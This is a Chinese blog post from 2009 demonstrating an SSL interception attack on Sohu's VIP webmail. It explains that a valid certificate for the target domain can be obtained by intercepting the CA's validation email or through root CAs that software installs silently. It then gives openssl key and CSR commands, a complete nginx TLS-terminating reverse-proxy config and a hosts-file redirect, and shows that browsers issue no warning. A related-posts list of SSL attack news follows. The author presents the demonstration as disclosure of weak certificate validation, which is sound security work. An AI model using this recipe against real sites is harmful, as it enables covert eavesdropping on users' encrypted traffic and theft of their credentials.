SSL窃听攻击实操

标签: IT hijack proxy security sohu | 发表时间:2009-09-29 13:07 | 作者:吴洪声 snowflip
出处:http://wuhongsheng.com

OK,我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子
SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张。
对于低廉价格的域名SSL证书,CA签发的前提只有一个:只要你有申请的域名某几个特定的邮箱,并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。
所以,问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。
当然,还有更加简单的办法:国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商,就可以任意生成证书,并且这些证书都是有效的,不会出现警告。

废话不多说了,开始干活。这里sohu的vip邮箱为例(他们能在整个使用过程中支持ssl),先生成一张vip.sohu.com的key和csr

Sam@Bra:~$ mkdir ssltest
Sam@Bra:~$ cd ssltest
Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024
Generating RSA private key, 1024 bit long modulus
............++++++
.....................++++++
e is 65537 (0x10001)
Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:BeiJing
Locality Name (eg, city) []:BeiJing
Organization Name (eg, company) [Internet Widgits Pty Ltd]:fake sohu
Organizational Unit Name (eg, section) []:fake
Common Name (eg, YOUR name) []:vip.sohu.com
Email Address []:ssladmin@vip.sohu.com
 
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

well,这样我们就有了一个用于vip.sohu.com的申请了,接着我们去签发这个申请

sslhijack1

然后系统会给你一大堆管理员相关的邮箱等你去选
sslhijack2

选上一个后,ca就会给你所选的邮箱发送一封确认邮件,邮件中带有一个连接,打开连接后会让你确认,确认后。。。嘿嘿,证书就到手了
sslhijack3

sslhijack4sslhijack5sslhijack6

把申请下来的证书保存一下,然后修改下nginx的配置文件,把证书加上,并且设置一个反向代理到vip.sohu.com,大概的样子如下

    # HTTPS server
    #
    server {
        listen       443;
        server_name  vip.sohu.com;
 
        ssl                  on;
        ssl_certificate      sslkeys/vip.sohu.com.crt;
        ssl_certificate_key  sslkeys/vip.sohu.com.key;
 
        ssl_session_timeout  5m;
 
        ssl_protocols  SSLv2 SSLv3 TLSv1;
        ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers   on;
 
        location / {
                proxy_pass      https://vip.sohu.com;
        }
    }

搞定,保存,重启nginx。修改本机的hosts文件,把vip.sohu.com这个域名指向nginx所在的服务器

127.0.0.1 vip.sohu.com

打开浏览器,输入https://vip.sohu.com,你会发现。。。。根本没任何报错或者警告信息!也就是说,ssl证书被成功替换,再就是说,你的所有传输都被劫持了。
经过测试,IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持,大肆宣扬被劫持的网站是高可信度的网站。

回头再简单阐述这个过程:用户访问一个网站,但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后,会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据,同样传输也是ssl加密的。网站的服务器对此毫不知情,只能获取到是proxy发出的请求,但其实proxy并不是最终用户,数据其实早已被监听并分析。

最后,还是应了那句话:不要迷恋ssl,ssl只是个传说

备注:
1.转载请注明出处:http://wuhongsheng.com/it/2009/09/ssl-hijack/
2.sohu的哥们不要来找我麻烦或者跨省追捕,选上你们是因为你们太安全了,支持ssl访问邮箱
3.有时间大家还是多点关注我的DNSPod,最近DNSPod正在招人,人不好找啊。。。请大家帮忙宣传下,介绍一些人才过来 https://www.dnspod.com/About/Jobs

前面一张图是sohu自己原始的证书,第二张开始就是被替换后的证书
sslhijack7

sslhijack8

sslhijack9

sslhijack10

Related posts:

  1. UUCall域名被clientHold Domain Name: UUCALL.COM Registrar: BEIJING INNOVATIVE LINKAGE TECHNOLOGY LTD....

Related posts brought to you by Yet Another Related Posts Plugin.

相关 [ssl 窃听 攻击] 推荐:

SSL窃听攻击实操

- snowflip - 狂人山庄 | Silence,声仔,吴洪声,奶罩
OK,我恶毒的心灵又开始蠢蠢欲动了. 今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子. SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致. 目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张.

Google将发布补丁阻止SSL/TLS攻击

- SotongDJ - Solidot
51开源社区 写道 "研究者最近发现了一个存在于TLS 1.0(目前使用最广泛的安全加密协议)的重大漏洞. 利用该漏洞,黑客可以悄悄解密客户端和服务器端之间通过HTTPS传输的数据. 本周在布宜诺斯艾利斯举行的黑客技术研讨会上,Thai Duong和Juliano Rizzo将展示一个利用此漏洞的方式,使用称为BEAST的脚本,配合一个网络连接嗅探器即可在30分钟内解密一个PayPal的用户Cookie.

研究人员将演示攻击SSL/TLS

- Tim - Solidot
9月21日布宜诺斯艾利斯举行的Ekoparty安全会议上,安全研究人员Thai Duong和Juliano Rizzo将演示针对SSL/TLS的概念验证攻击. 研究人员在SSL/TLS协议中发现了严重弱点,能让黑客悄悄破译Web服务器和终端用户浏览器之间传输的加密数据. 弱点主要影响TLS协议1.0版及SSL所有版本,TLS 1.1/1.2未受影响.

Google将发布补丁阻止SSL/TLS攻击

- 洞箫 - cnBeta.COM
实际上对付BEAST对SSL攻击的工作从今年 5、6 月份就展开了. BEAST 的两位研究人员也没在本周五正式发表前透露太多细节,不过 Google 显然不打算冒任何风险. BEAST 利用选择明文恢复 (chosen plaintext-recovery) 攻击 SSL 和 TLS 早期版本的 AES 加密,其中被称为加密块连锁 (cypher block chaining) 的加密方式使用之前的加密块对下一个块进行加密.

研究人员将演示攻击SSL/TLS

- 2楼水饺 - cnBeta.COM
9月21日布宜诺斯艾利斯举行的Ekoparty安全会议上,安全研究人员Thai Duong和Juliano Rizzo将演示针对SSL/TLS的概念验证攻击. 研究人员在SSL/TLS协议中发现了严重弱点,能让黑客悄悄破译Web服务器和终端用户浏览器之间传输的加密数据.

Chrome 即将更新以对付攻击 SSL 协议的 BEAST

- ROY - 谷奥——探寻谷歌的奥秘
感谢 Dante Jiang 的爆料和翻译. 实际上对付BEAST对SSL攻击的工作从今年 5、6 月份就展开了. BEAST 的两位研究人员也没在本周五正式发表前透露太多细节,不过 Google 显然不打算冒任何风险. BEAST 利用选择明文恢复 (chosen plaintext-recovery) 攻击 SSL 和 TLS 早期版本的 AES 加密,其中被称为加密块连锁 (cypher block chaining) 的加密方式使用之前的加密块对下一个块进行加密.

研究人员发布SSL-DOS攻击工具

- 軒轅無雙 - Solidot
研究人员发布了一个攻击工具,任何人都可以把提供SSL安全连接的网站攻击下线,新的方法被称为SSL拒绝服务攻击(SSL DOS). 德国黑客组织“The Hacker’s Choice”发布了THC SSL DOS,利用SSL中的已知弱点,迅速消耗服务器资源,与传统DDoS工具不同的是,它不需要任何带宽,只需要一台执行单一攻击的电脑.

研究人员发布SSL-DoS攻击工具

- dunqiu - cnBeta.COM
感谢MontBlancs的投递. 研究人员发布了一个攻击工具,任何人都可以把提供SSL安全连接的网站攻击下线,新的方法被称为SSL拒绝服务攻击(SSL DOS). 德国黑客组织“The Hacker’s Choice”发布了THC SSL DOS, 利用SSL中的已知弱点,迅速消耗服务器资源,与传统DDoS工具不同的是,它不需要任何带宽,只需要一台执行单一攻击的电脑.

nginx配置ssl

- - 邢红瑞的blog
先生成网关证书 ,仿照CA模式.

SSL原理笔记

- - CSDN博客推荐文章
搜索SSL握手的原理,最多是网上转载的Alice和Bob的对话. 用生动、形象的场景说明了一个复杂SSL握手原理. 用公钥加密的数据只有私钥才能解密,相反的,用私钥加密的数据只有公钥才能解密,正是这种不对称性才使得公用密钥密码系统那么有用. 是一个验证身份的过程,目的是使一个实体能够确信对方是他所声称的实体.